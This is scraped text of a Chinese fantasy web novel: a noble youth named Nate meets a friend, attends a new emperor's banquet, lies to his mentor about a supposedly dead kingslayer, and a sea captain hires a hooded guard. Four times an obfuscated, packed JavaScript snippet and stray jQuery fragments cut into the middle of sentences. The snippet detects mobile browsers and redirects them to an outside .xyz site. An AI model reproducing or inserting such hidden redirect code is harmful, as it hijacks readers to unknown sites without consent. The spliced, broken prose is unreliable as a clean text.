青年嘴巴里吧啦吧啦说个不停,或许是因为太久没和内特见面而过于激动,他就像个合不拢的话匣子,话题一个接一个往外冒:“爸爸要去水晶皇宫见海森堡将军,而我来的路上突然想到,梅菲杰拉德庄园不就在顺路吗?听说内特终于旅行回来了,这样的话,与其顶着大太阳继续赶路,去内特家做客不是更好吗?反正见皇帝这些事,让爸爸去做就好啦。我又从来不擅长说话……” 青年大剌剌的往沙发上一趟,他把外套搭到沙发靠背上,只穿件一件白色的开衫。把穿着马靴的脚搭在扶手上。很快就有佣人摆上了果盘和白兰地,他一边往嘴里塞葡萄一边看向内特:“你可终于回来了!你游学的这一年都去了哪里?听说你和弑君者英勇地战斗,结果不幸落败,真的吗!康斯坦丁竟然死了,谁能想到呢?你可一定要把这些事都跟我讲。你不知道我在南方服兵役有多苦,什么玩的都没有,简直要憋死我了……” 内特的心脏不安的抽动了一下,然后他面无表情地把青年翘着的二郎腿从扶手上赶下去,擦了擦有些脏的皮面,才坐了上去。 “服兵役都关不上你的嘴,扎克。”内特说,“真不知道你以后怎么参加御前会议。以后每天所有人都不用开口,只要听你一个人讲话好了。” 扎克·特里同,中将艾尔·特里同之子,他的父亲是有名的将领,同样是贵族出身,和海森堡将军、内特的父亲赖兹瑙,以及议会的很多人早就熟悉了。扎克算是内特从小的朋友,有时候父辈去彼此的庄园拜访,内特就和扎克一块玩。他了解这个发小,就算过了一年多没见,他那副孩子气的脾气也没有改变:扎克性格大大咧咧,不拘小节,但是总是喜欢别人伺候他,又喜欢酗酒,每次喝醉后,就会相当放纵。只不过因为家族身世显赫,周围的人都会容忍他的放肆。他还有一些姊妹兄弟,内特就没那么熟悉了。 只不过,若说他有什么进步,这一年参军的经历至少让他肥胖的身躯终于稍微有点型了。 扎克躺在沙发上动了动,找个了更舒服的姿势躺着,“要是我做不好就把我赶出去嘛!反正我一直不想从政,也不想参军。谁能想到爱达荷老头突然辞职?现在我爸爸也得去参加议会了。不过也好,我差点以为我要在南线待一辈子了!你知道,我只想在自己的封地里,每天打打猎、喝酒、和姑娘上床。” “你在南线还要上战场吗?” “我是不用!一天到晚呆在屋子里。可还是热的不行,什么吃的都没有,天天下雨,真不是人呆的……” 扎克翻身坐起来,孩子气的脸狡黠地盯着内特:“听说你爸爸把你禁足了,真的吗?你真的能忍着一直足不出户?” 听到这件事,内特就像是被咬了一口的猫咪,他恼怒的瞪了扎克一眼,从沙发上站起身,“已经解除了。两个星期,刚好就是今天。”内特说,“你来就是为了取笑我?没有别的事快走快走。” “别啊!怎么能刚坐下就赶人呢!” 不过他还是跟着内特走出客厅,两人在屋后的一个白色拱形凉亭下坐下,欣赏园丁修剪的矮矮的草坪,不远处的橡树林场,扎克边吃新鲜的杏和草莓。凉亭内部是铁铸的,四个角雕刻着水神的四种形态,正前方是一个圆形的喷泉,工人正在往池子里放水。 “我真不明白这些人每天在草地上剪来剪去的意义是什么。”扎克说,喝了一口白兰地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502505|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为了让你能欣赏园林的景观。” “我是说,反正这些杂草明年也还会长出来的,不是吗?他们每年这样剪啊剪,可是第二年又变成原样了。” “怎么?如果你看不惯,可以把你家的草坪都铲干净。光土地就不需要搭理了。” 扎克干巴巴的笑了一声,拿白白胖胖的手背擦了擦嘴。“我还记得以前咱们在这个草坪上打棒球……” “是,现在我还能在散步的时候捡到你扔出去的坏球呢。” 扎克不接话了。他呆呆的看着眼前的一切,长吁短叹起来。内特受不了扎克这一副愁容满面的样子,他揉了揉眉心,“你在焦虑什么,扎克?” 扎克沉默了一下,他把手肘撑在大腿上,看着梅菲杰拉德庄园家的草坪。“我只是觉得,不管他们是把我在赶到战场上,还是让老师摁着我读书,我都是那个样子。我不想什么责任,只想去玩。” “他们又对你有什么要求了?” “母亲说,可能这次回来,就会让我订婚了。” “噢。”内特含混不清的说,“恭喜?” 扎克往藤椅背后一靠,烦躁的叫道:“我才不想结婚啊!当朋友的时候不是很开心吗?为什么还要我承担责任!” 内特从扎克的话语中隐约察觉到一丝问题,他问道:“你——有姑娘要你承担责任?” 扎克往椅子里缩了缩。 内特恼怒的瞪着他:“你让人家怀孕了?” “还不一定是我的呢……”扎克讪讪的说,“我看她就是想要钱。我妈给了她一大笔后,她就没消息了……” “你活该。”内特冷冷的坐回去,“所以你母亲要安排你订婚了?” 扎克沮丧的点点头。“说什么觉得结婚能管住我。” “这也意味着你会有自己的领地、豪宅。有说是谁吗?” “还没有。可能是克劳狄家的吧,哎,谁在乎那些房子呢!”扎克揉了揉头发,“我真想一辈子呆在现在这个位置——” “你怕婚姻真的会改变你?” 扎克争辩道:“我才不会让女人管住呢!” “我觉得你就缺个人盯着。”内特说,他站起身,把杯中最后一点白兰地一饮而尽。 “说到未来,今晚在水晶皇宫是举办陛下的宴会吧?正好让我看看你未来的妻子是谁。” 内特很快回屋,容光焕发的穿好衣服,扎克急忙跟过来。“今晚的宴会?那个我也得去啊!内特,带上我好不好?” 内特看了看外面的天气,下午的酷暑已经过去了,虽然还是闷热,但是夜晚就能凉快下来。 “骑马有益身心健康,扎克,三十分钟很快就到了。” “可是有你的话一下子就能到!”扎克苦着脸说。 内特得意地笑了一下。银色的繁花般的纹路覆上他的全身,他朝扎克·特里同挥了挥手。 “我们在陛下的礼堂见,扎克。” 17. 17-黄金之厅 亚斯提都的水晶皇宫有一个可以容纳百人的黄金宴会厅。它有数十根白色的大理石柱环绕相合,每根石柱中间镂空,雕刻单翼天使、双翼或四翼天使的形象,外层翅膀镀着黄金。地面铺黑金色的石砖,头顶上是一尊倒垂下来的万枝花轮吊盏,让大厅内显得金碧辉煌。在宴会厅背后,还有一座由五千多根铜质琴管的管风琴。 内特虽然出发的比较晚,但是使用空间纹章传送,几分钟后就到达了。他走进大厅的时候,晚宴还没有正式开始,贵族,学士和将领们正在宴会厅零零散散地聚在一起,低声交谈着。聚集在一起的人群就像香槟中密密升起的泡沫,发出低沉细小的响声。 内特环顾四周,圣山学院的学士们穿着白色的编织长袍,披金色绶带。内特看见曾经带领自己游学的塞福涅学士和议会成员恩美尔学士都到场了。恩美尔学士的纹章是傀儡术,内特思索这种场合下,恩美尔先生总该让他的真身,而不是傀儡出席了吧。 “内特!你爸爸总算肯放你出来啦。”议会成员,小拉赫·克劳狄迎上来,她亚麻色的卷发精致的编成花环一样的辫子,沉静的葡萄紫色眼睛笑盈盈的看着他。她穿一条浅绿色长裙,戴浅黄色的针织手套,绣着珍珠,胸口的衣褶像一朵盛开的金色水仙。当她亲吻内特的脸颊时,内特可以闻到茉莉花的香气。 “克劳狄姐姐,”内特亲了一下她的侧脸,“希望我没有让你们等的太久。” “怎么会!科尔正在讲他们翼龙团训练的事情。是不是,科尔?”她指的是前几年新任的翼龙军团长,科尔·卡梅隆,他驾驶翼龙海拉,在翼龙驾驶上很有天赋,个子不高,才二十多岁。 小拉赫·克劳狄不同于她的父亲,希金斯·克劳狄他是一位沉闷的有些压抑的男人,而小拉赫在其父因病退出议会后,很快代替他加入议会。她并不张扬,但是与她相处,总能让人感到愉快。 她熟络地引着内特加入谈话,这些与会的人,有的内特以前见过,有的则是第一次。小拉赫·克劳狄笑眯眯地说,“内特,财政大臣赖兹瑙先生的儿子。他刚刚从外面游历回来,就和弑君者交了手。多么了不起的青年!” 人群一片惊叹,甚至从塞福涅学士的方向也能感受到学士探究的目光。内特在心中狂翻白眼,自己当初为了阻止格劳斯离开首都而偷偷前往地牢,却反被对方打晕越狱,想到这件故事真实的情形,不知该对造谣者感谢还是抨击。 科尔·卡梅隆第一个朝内特伸出手。和其他军官比,他的身材有些太瘦小了。他留一头卷发,脸上带着讨人喜欢的笑容:“我是科尔,翼龙军团长。真是虎父无犬子!你的父亲有没有提过?他以前就是翼龙军团的一员。”他笑着说,“有没有兴趣来翼龙军团看看?” “父亲一直很重视翼龙军团,”内特说,“但是,不知道我的老师海森堡将军会怎么安排。” “威斯汀·海森堡将军!”科尔用力握了几下内特的手,脸上露出颇为惊讶的神情,“从未听说大将军还收了徒。我真是孤陋寡闻了。” 特里同中将很礼貌,他比老师的个子稍矮一点,但同样高大,扎克继承了他褐色的头发和眼睛。据扎克所说,特里同中将很快就要是议会的新成员了。 “你没有受伤吧?”中将问道。 “轻伤,已经完全愈合了。”内特说,突然因为让扎克骑马赶来而有些不好意思。他用余光扫了一眼,看见扎克现在也到了会场,正拿了一些食物,在角落和不知谁家的姑娘喋喋私语。内特在心里对不学无术的发小叹了口气,又把注意力转了回来。 巴萨·威廉姆斯议员穿一身海蓝色西装,留小胡子,他是在座中唯一看起来比较忧心忡忡的人。他皱着眉头,在一旁一杯接一杯的喝酒,小拉赫问到:“您在烦恼吗,威廉姆斯先生?新皇登基,这是值得庆祝的事情。” “我只希望这些庆祝早点结束。”巴萨说,“他再开宴会下去,下个月就谁都别想吃海鲜了。” “发生了什么事?” “海妖!东海的海妖简直多到没法解决了!”巴萨说,“这个月的第四起袭击货船事件!每艘船都被海妖拖沉,货毁人亡。再这样下去,不出三个月,东海就别想有任何渔船能出海了。” “以前没有这种问题吗?”内特问。 “以前这种事只发生在深海,浅海从没有大型海妖光顾。它们喜欢深海的低温。所以,现在才那么让人恼火。” 小拉赫问:“大将军对此怎么说?” 巴萨哼了一声。 “我倒是想对大将军提这件事。但是从先皇驾崩之后,我连见到大将军的机会都没有。” 周围的人还在劝他,等陛下重新召开议会,东海的问题就能解决了。 “重新召开议会,”巴萨不置可否地说,“只怕我们的新皇帝在这次宴会后,就再也无法忍受没有人向他行礼问安的日子了。”他瞥了一眼大厅最高处的王座,那里此刻还空空如也,一张金色长毯从椅座一直铺到正门外。 几乎是他话音刚落,那五千根铜管组成的管风琴就发出恢弘的声音,犹如天使齐颂的圣歌从天空降下来。 所有人都安静下来。众人的目光看向那再次打开的正厅大门。 一位高大威严的男子率先走进黄金大厅,他披着白色的将军袍,神色冷峻,无机质的灰色眼睛不怒自威。所有的将领整齐的向帝国之盾、大将军威斯汀·海森堡行礼,而其他人则低下头致敬。当海森堡从内特面前经过时,内特感觉一阵寒风从自己面前扫过,他的后颈一阵紧绷,威斯汀·海森堡就已经从自己面前走了过去。 海森堡在王座旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502506|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站定,他的手搭在腰间的佩剑上。随后,又有三人走入房间。 内特没能完全看清庞贝·康斯坦丁的样子,他只知道他很年轻,感觉太年轻了——他有着康斯坦丁家族的金发,那头耀眼的长发几乎让他头上的皇冠都黯然失色。庞贝昂着头,穿着金红色的礼服,手握缀有红宝石的王权之杖。 内特挺了挺胸。 庞贝后面跟着两人,一位中年男子红发、赭衣,扶着象牙手杖。那是内特的父亲,帝国之眼,财政大臣——赖兹瑙·梅菲杰拉德。站在赖兹瑙旁边的是一位女性,她身材娇小,一头冰蓝色的长发肆意飞扬,脸颊小巧如无暇净钻。内特注意到,她一直飘浮在空中,直到庞贝坐下,她才跟着将赤脚落回地上。除此以外,还有更加惹人注目的地方,她的头上生一对古怪的白色尖角,正在灯下闪烁着晶莹的光。 “诸位,请容我介绍:我们的新皇,托拜厄斯·康斯坦丁之子,庞贝·康斯坦丁。” 赖兹瑙说。 所有人都鼓起掌来,等到欢呼声结束,庞贝才重新站起身。他沉默了半晌后开口,起初,内特都听不清他的声音。 “——我是庞贝·康斯坦丁,我的父亲,征服者、被誉为最伟大的人类之王,在数日前去世。谁能想到呢?真是天有不测风云。”他笑了笑,“我以前从未想过——从没想过能坐上这个位置。我父亲在位一百六十年,从我出生至今,从没跟他说过一句话。但是,或许这就是天意。” 庞贝举起手里的权杖,那象征人类帝国最高权力的权杖正闪着诱人的光。庞贝的脸被那黄金般的光芒笼罩着。 “我的父亲二十一岁即位,而我与他同岁。与他不同的是,我的帝国正处于有史以来最强的状态!我比他更好!”他的目光从老师威斯汀·海森堡,父亲赖兹瑙·梅菲杰拉德身上一一转过,然后落到那位身着白裙,却依然与众人格格不入的女孩身上。 “有史以来第一次,龙族与我们站在一起,”庞贝说,“唯一的,最后的纯血龙族——涅西丝。” 内特听到人群中传来倒吸一口凉气的声音,以及不绝于耳的窃窃私语。曾经的统治者,八族之王——他以为龙族早就绝种了,或者就算存在,也只在极北的雪山出没,那里都是无人区了。 涅西丝面色如常的站在皇帝身旁,她蓝宝石般的眼睛藏在头发后面,即使成为全场话语的中心,她也只是低头漫不经心的玩着手指。 庞贝接着说道:“我的父亲喜欢与人比武。我赞同他的观点,竞技是一个值得重新举办的项目。”他的声音越来越高,脸上因为兴奋而淌着汗。 “我宣布,我将重新在亚斯提都召开竞技场!同时,还要像我父亲曾做的那样,举办持续整个盛夏的舞会!让所有人都知道、所有人都庆祝,我的即位,和新时代的来临!” 18. 18-植物园 内特注意到,被庞贝称为纯血之龙的涅西丝可以在空中飘浮。她浮起来的时候,两只脚的部位闪烁着冰晶一样的光,然后她就像一个白色的蒲公英伞,散着冰蓝色的发丝,娇小的身躯和白色的裙子一起,脚不沾地的飘来飘去。她不吃饭、不和人说话,也没有和任何人有眼神接触,接着晃晃荡荡的飘向楼上……内特确信自己不是全场唯一一位对这个突然出现的纯血龙族感兴趣的人,但是,现在显然不是个贸然上前搭话的好时机。 庞贝的讲话结束后,宰相赖兹瑙没有再说什么,爸爸一向很少发表长篇大论的演讲。他只是笑着挥一挥手,侍者就有序的端上一道道菜肴,示意新皇的晚宴正式开始。随后,他和其他几位议员一起,簇拥着新皇去单独的区域谈话了。内特没有工作的身份,也没有人管他,他便在宴会厅默默寻找自己的熟人。 乐队已经开始继续演奏了,第一道正餐是比目鱼,淋着奶油、豌豆和芹菜。然后是鳕鱼、蒸熟的已经被剪开的面包蟹、还有装在盘中的烤鹌鹑和土豆片。内特挪到扎克的桌旁,看见自己的发小正在把一只又一只的奶油虾装进自己盘子里,脸上全是烤肉酱。 “虽然我知道你不想在这里给谁留下好印象,”内特说,“但是你是否有点太不在乎形象了?” 扎克的嘴里还塞着咽不进去的虾尾,他嚼了好一会才把嘴里的饭都清空,然后拿餐巾擦了擦手,接着说道:“内特,如果你九个月没法吃任何海鲜,只能吃野菜和糠度日……你也会像我这样大啃甜虾和比目鱼的。” “我对你的生活环境是否真的那么艰苦表示怀疑。”内特面不改色的说,“你再吃下去,我估计你很快就能回到减肥前的体重了——连龙族姑娘都吸引不了你的注意力。” “龙族?!在哪?!”扎克立刻抬起头,目光在客厅里来回梭视着。“骗人!根本没有。” “人家早走了。你的母亲没抓你去见未婚妻?” “没人管我。她好像觉得只要自己先把亲家搞定,我的个人意见不重要。”扎克说,看见几位主教走到圣山学院的学士旁边,皮尔斯主教大腹便便,他的鼻头正因为酒精而红扑扑的。 “天呐,塞福涅学士!你猜他还会不会记得我去年读书的时候,砸碎他的天象仪的事情?” “肯定记得。不过我爸爸已经给圣山学院拨了新的经费,应该够老师们买新仪器了吧……” “也是,有赖兹瑙先生在,我们的财政就不愁了。”扎克又开始吃饭,嘴里嘟嘟囔囔地说,“我刚才好像听见陛下说竞技场的事,是什么意思?” “意思是再过一个星期,所有家族的青年就要在擂台赛上一对一比武了。” “是那种平民在下面比赛,我们在上面看戏的活动吗?” “你当然也得上场,你想啥呢。” 扎克像被抓住粮仓的仓鼠一样惊慌失措起来。 “我?” “是啊,除了女性不会强制报名,各个家族的儿子……以及所有交得起报名费的平民都会来吧。那时候亚斯提都想必会热闹非凡。” 扎克的脸已经变得毫无血色,内特笑着拍了拍他的肩膀。 “放松,正好向大家展示一下你过去学的东西。你肯定不想在那么多人面前让你父母失望,对吧?” “给你的朋友压力可不会让众人在你身上的目光变少。”一个冷峻的声音在内特背后响起,两人哆嗦了一下,回过头,看见威斯汀·海森堡不知何时已经走到了自己身旁。他还是那样高大,有压迫感,披着白色的将军袍让他看起来威严更盛。 “大将军!” “老、老师!”内特吓了一跳,几乎找不到自己的舌头,“您开完会了?” “今天本来就不是办公的日子。”海森堡说,看了扎克一眼。 扎克心领神会,端着盘子,面不改色的转身走了。刚好看见涅西丝也从会议室飘出来,他立刻好奇心大盛的往对方的方向走过去。 海森堡往大厅侧廊的方向比了个手势:“去散散步?” “好,好啊。” 内特几乎找不到自己的声音了。 他们还没走出大厅,就立刻又有人围到了海森堡将军身边。威廉姆斯先生是其中之一,颇为焦急地说:“大将军,关于东海的海妖……” 海森堡抬起手,打断了他们的话。“不是现在,先生们。今晚我要和我的学生谈话。” 他朝所有人点点头,随后就带着内特走出了大厅。内特紧张地跟在威斯汀·海森堡后面,离开了温暖的有些过热的黄金大厅,走进陛下的植物园。刚刚进入夏天,夜晚依然吹着微凉的风。天空很清澈,内特可以看见天后和英仙座的星星在云层间闪烁着。连廊通向水晶皇宫的一个室外植物园,大片大片深绿色阔叶的植株栽种在花园里,其间摆放着不同姿态的天使雕像,各色的花朵盛放着。 “克劳狄议员在种花方面确实有些巧思。”海森堡说。 “您说什么?”内特愣了一下。海森堡看了内特一眼,示意他走到自己的身侧。 “小拉赫·克劳狄在加入议会后曾建议在陛下的植物园里种一些不同品种的花。”海森堡说,手指抚了抚一朵盛放的月季,接着放开了它们。“她在这一方面确实做得很好。她让陛下的植物园四季都有花朵盛放。” 内特没有想到海森堡还会夸赞他人。 “您喜欢欣赏园林吗?”内特试探地问。 海森堡看了他一眼。“如果你是问我有什么爱好,我会制作标本。” “噢。” 内特看着海森堡漫不经心的散步的样子,大着胆子问道: “老师,您为什么要支持庞贝?” “排在他前面的四个兄长都死了。按照顺位继承制度,他就是王座的第一继承人。”海森堡面无表情地说。 “他会是一位称职的皇帝吗?” “皇帝并非职位,而是一种身份。” “所以您离开了亚斯提都?因为会有其他人来威胁他?” 海森堡的脚步停了一下。“或许吧。”他说,“陛下遇刺之后,你的父亲在那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502507|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建议我离开亚斯提都,去找庞贝。显然他对这一切有自己的安排。” “我的父亲?” 这件事还是内特第一次听到,爸爸做的这些事是为了什么?他突然想起那个人曾经对自己说过的话。 ‘内特,皇帝死的时候,你的父亲也在场。’ 海森堡打断了他的思绪。 “我听说你见到了弑君者?” 内特的心脏漏了一拍。他感觉自己的喉咙有些绷紧,但是努力不让自己的情绪泄露出来:“是的。” 海森堡不置可否的嗯了一声。他们穿过花圃,走到了一处喷泉。这里原本种植的花卉都消失了,改铺大理石地砖和喷泉台,喷泉中心是一个较高的纯白色圆柱形基座,基座上是站在海妖塞壬身上的天使,天使的手中正汩汩地往外冒着水,哗哗地响个不停。 “他长什么样子?” “弑君者?噢,其实我没能看清……”内特有些含混不清地说,“黑色的。” 海森堡低下头来,这个晚上,他灰色的、无机质的眼神是第一次落在内特身上。 “黑色的?” “是……是的。”内特结结巴巴地说,“您为什么要问弑君者的事?他已经死了。” “是你杀的吗?” “不,我当时昏过去了。” 海森堡歪了歪头。 “所以,他在打晕你逃走后,没多久……莫名其妙的死了?” “听爸爸说是自杀。”内特咽了口口水。 “自杀。”海森堡重复了一遍,露出有些嘲弄的笑容,“一个弑君者。逃狱后自杀了。你相信吗,内特?” 内特垂下眼睛,努力不透出自己的慌乱。 哗啦啦的水声不绝于耳,内特突然感觉心烦意乱,而海森堡进一步凑近了他。他的的手轻轻握住内特的下巴,把他的脸抬起来。内特不喜欢被海森堡揽住的样子,他离得太近了。他感觉自己的心脏慌乱的要跳出来,但是海森堡就像一座不动不摇的山,内特挣脱不出来海森堡的钳制,被迫和那双冷寂的、灰色的眼睛对视。海森堡望着他瞪大的、金色的眼睛: “是你的父亲说他已经死了。”海森堡说,“你只是在重复他的话,还是你也这么想?” 海森堡呼出的气扫到内特的脸上。内特突然感觉眼眶很酸涩,他用手用力的推了推海森堡的肩膀,然而对方纹丝不动。海森堡的手几乎把他的脸掐疼了。他又要做出选择了,他总是被逼到这种境地中,选择一个,就要放弃另一个。选择更强大更好的那个,或者选择一个谎言。 “他死了吗,内特?” 不知为何,内特想到月亮、想到雾气、想到水。 ‘你和他们不一样。你也该离开这里。’ ‘我永远保护它们,正如我将守护你,无论我去往哪里,我都会回到你的身边。’ 那个誓言还在生效。内特心里清楚的知道,在世界的某处,那个人还活着。 他仰起头。 ”他死了。”内特说,“爸爸杀死了他。” 19. 19-里加湾 卡克奇克大陆有错综复杂的海洋水系,但是浅海海水温暖,每年夏季,都有大量鱼群洄游,这个时候,也是渔业最繁忙的季节。自从人类建立王国,最危险的海妖已在百年中逐渐退至海洋深处,现在人类在沿海建立了完善的货运和捕捞路线,一艘货船可以从北方满载皮革起航,同鱼群一起南下,在几个港口中轮番装卸脱壳的谷子、纺织品、新鲜的海鱼,这样一路航行六个月。这些沿海城市的商业又受财政大臣赖兹瑙鼓励,城市逐渐变得繁华发达。同时,这些地方因为与人类首都相距甚远,一些妖怪也能在此工作,虽然不能得到很高的岗位。其中,那些人类与海妖的混血,统称为鲛人,脸上长着鱼鳞、手上绷着蹼。他们已不能像百年前的海妖那样潜入深海、在水中呼吸,但是他们通水性,对洋流很敏感,一艘船上往往会有两到三位鲛人。 里加湾是康斯坦丁王国最东端的港口,是上千里的沿海航线中最重要的卸货点。夏季,海水受洋流影响,大量鱼群在浅海活跃,是最适宜出海的季节。 每个月,有上百艘货船在里加湾停泊,它们卸下海鱼、对虾等货物,装上脱壳的谷子和丝织品,海员与鲛人在港口的酒馆整日进出不绝,铁匠铺的炉火烧得旺盛,为货船打各种各样的新铁器。而最近这段时间,虽然是盛夏,里加湾的港口却比往年来说冷清了不少。十几艘货船停在港口,甲板却已落了灰,破的帆船也没有修补。 此刻,十几个船工正忧心忡忡地站在港口,他们在等一艘南下的大船:‘黄金尼禄号’,她原本应该在三天前就到达里加湾,但是至今没有消息。黄金尼禄号是一艘赫赫有名的巨轮,她已经航行了七年,每趟航行带来的货物价值十几万金币。黄金尼禄号的船头是一只镀着黄铜的金色大天使,象征着康斯坦丁王室对她的庇护。她的保安也是等级最高的,有数十位持有纹章的佣兵护航,在多年的航行中,虽然遇到过不少海盗,但是从未失事过。 日色渐暮,在岸上做工的人也逐渐稀少,等着和黄金尼禄接货的海民也渐渐散开。就在这时,其中一人指着远方一个小黑点喊道:“看!那个是黄金尼禄号吗?” 人们立刻凑了过来,只见不远处一个黑点整渐渐逼近,变得清晰起来:但是它的速度极慢,与其说是在靠近港口,不如说是在任由海水推着它前进。货船苟延残喘的被海浪推过来,还为靠岸,几个人就已经从船上跳了下来,朝岸边游来。岸上的人见状,赶忙把这些精疲力尽的人从水里拉起来,这些船员穿着黄金尼禄号的制服,看起来惊魂未定。 “发生了什么事?”岸上的人问,“你们被海盗袭击了?” 前几个船员在被救上岸后就立刻晕倒了,剩下一个脸色发青的小个子鲛人精神好一些。他大睁着满是血丝的眼睛,脸上的鳞被剐掉了不少,透着肉粉色。 “还能是什么?海怪呗!”他说,“快结束的时候遇到的——竟然是克拉肯。真晦气。” “看清它的样子了吗?连你们的护卫队都折了?”一个男人凑过来,递给这个鲛人一根烟。小个子把烟叼在嘴里,深吸了一口气。 “看不清。下着雨,天黑极了。只听呼啦的一声,整个船都被什么东西抓住了——那玩意的叫声像牛吼。然后,差点以为这艘船会被掀翻。真是悬。” “你们是怎么逃出来的?” “说不出是逃——大伙一直在往水里扔货物,船长带着人战斗,后来出太阳了——克拉肯就走了,其他人也是。包括船长。” 有人还想问什么,但是小个子鲛人裹着毯子,快速和其他人走远了。靠近岸边,在人群外围的不远处,一个穿着深褐色风衣的男人正站在黄金尼禄号的废墟旁,他打量着货船折断的桅杆,船身被捅破的无数窟窿,还有孤零零的船头——金色大天使像早已不翼而飞,只剩黄铜底座还留在上面。 连黄金尼禄都没能安然无恙…… “莱森船长!”一个皮肤深暗,穿着蓝色海员衣服的纤瘦青年凑过来,“我们还出航吗?大伙都等着呢。” 莱森从沉思中回过神来。他揉了揉开线的大衣,嗓子哑着说:“走?当然走。我们明早就出发。” 船员犹豫了一下:“您——您找到肯上船的保镖了吗?” 莱森的眉毛蹙了起来,他挥了挥手,打断船员的话:“当然,我会解决的。明天你们就能见到。” 莱森常年在东海跑海商,自诩见过不少风浪,可今年的行情最怪。他每年带着船员从里加湾起航,装上谷子和丝绸,送往南方的城市。每次船在海上大约要开一个多月,但是获利也颇丰——除了今年。他们的船早已收拾妥当,但是迟迟无法出航,他们送货的航线从上个月开始就频频出事,每当海上狂风暴雨,那些从来只在深海、莱森见都没见过的海怪就会突然出现,拖着货船一起坠下去,往往是货毁人亡。而因为王国迟迟不派人解决,现在趁火打劫的海盗也不少。 在东海上,海员管目前为止,体型最大、威胁最大的海怪起了个名字:克拉肯,黄色眼睛、声音像牛吼,触手一击就能把桅杆折断。任何船要是碰到克拉肯,就只有死路一条。 更糟的是,原本应在里加湾上船、向来和莱森合作不错的佣兵,上个月遇到海难去世了。莱森在当地问了一圈,愿意现在上船的佣兵,价格几乎翻了三倍。倘若莱森雇他们,即使这段航线真的把货物送到了,他也是赔本买卖。 莱森感觉头发都要掉光了。他准备再去一趟佣兵协会再碰碰运气,就算请不起那些有纹章的奇人异士,请个靠谱的普通打手也行啊。 莱森正沿着海港的石子小路匆匆走过,佣兵酒馆的门面由发黄的鲸鱼骨搭建,昏暗的光正从脏兮兮的窗户里透出来。他刚进门,就有人叫道:“莱森!又找海员啊?跟你说,五十金币,立刻付清!” ”我出八十金币!” 另一个人搭话道:“干脆别出海碰这晦气了吧,老莱森?连黄金尼禄都沉了。这破海路总有一天上面会派人来整的。” 莱森苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502508|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着摇摇头,他走到老板娘旁边,“莉拉,要一杯啤酒。” 老板娘莉是一位红头发,长者雀斑的微胖女人,正擦一个杯子。莉拉和莱森认识好几年了,她瞥了莱森一眼,把酒杯推了过去:“一定要出海吗,莱森?” “不去不行啊。很多人指着我这艘船吃饭呢。” 莉拉把杯子举到灯下看了看,“你的船员们也不怕死?” “也不一定会遇到海怪。‘红玛丽号’不就平安到了吗?” “嗯哼……” 莉拉喷了口气,把杯子倒扣到桌上,递了一张小纸给莱森,低声说:“别对别人说。你可以找这个人碰碰运气,他前几天才到里加湾,急着出海。” 莱森捏着这张纸条如获至宝,他顺着地址找去,只觉得周围的灯光越来越暗,到目的地时,这个屋子竟然一片漆黑,莱森走到门口,只感觉一阵刺骨的寒气从门缝后传来,让莱森背后一阵发凉。 他还未窍门,门就被人从里面拉开。开门的人站在黑暗里,集市的光照进来,也立刻被伸手不见五指的黑暗吞噬。 莱森举着纸条,磕磕绊绊地说:“有人在吗?我是莱森,一艘货船的船长。” 房间里的人开口了。他的声音清澈、掷地有声,带着不容置喙的安定。 “我知道你想要什么。你想把你的三十吨货物和二十个人带往南方,而我想离开这里。” “是的,只要你上船,做我的护卫,我可以不问你是谁,要做什么。” “也不会探究你的能力。”莱森补充了一句。 青年不置可否的嗯了一声。他把门拉的更大了一些,莱森可以看见,原来是一位十八九岁的青年,他披着兜帽,身材瘦长,露出的手臂上缠着绷带。 “你同意吗?如果你上船,我会先给你十枚金币做定金。剩下的二十枚等下船再交付……” “先带我去看看你的船吧。” 青年说。 莹莹的月亮悬在天上,透出苍白的光。夜色下,一艘中型货船正停泊在港口,张着白色的帆,木质船身,如被月色镀上一层银白的釉,随着海水微微摇晃着。青年仰起头,沉默地打量着她,莱森正担心对方是否瞧不上自己的船,就听见青年低低的笑起来,仿佛被勾起什么愉快的回忆。 “‘月光号’?你的船的名字是,‘月光号’?” 